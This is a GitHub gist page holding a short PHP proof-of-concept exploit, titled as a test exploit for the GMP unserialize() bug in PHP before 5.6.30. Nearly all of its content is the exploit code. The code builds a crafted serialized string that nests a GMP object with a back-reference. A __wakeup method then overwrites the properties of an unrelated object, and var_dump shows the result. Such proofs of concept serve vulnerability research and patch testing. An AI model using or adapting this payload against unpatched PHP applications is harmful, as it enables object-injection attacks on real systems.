Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@allyshka
Created February 10, 2017 15:16
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save allyshka/14559b28993b3daec63e90335f1a7ad3 to your computer and use it in GitHub Desktop.
Save allyshka/14559b28993b3daec63e90335f1a7ad3 to your computer and use it in GitHub Desktop.
PHP < 5.6.30 GMP unserialize() test exploit.
<?php
class obj
{
var $test;
function __wakeup()
{
$this->test = 1;
}
}
$obj = new stdClass;
$obj->var1 = 1;
$obj->var2 = 2;
$inner = 's:4:"1337";a:3:{s:4:"var1";s:6:"change";s:4:"var2";s:4:"this";i:0;O:3:"obj":1:{s:4:"test";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
var_dump($obj);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment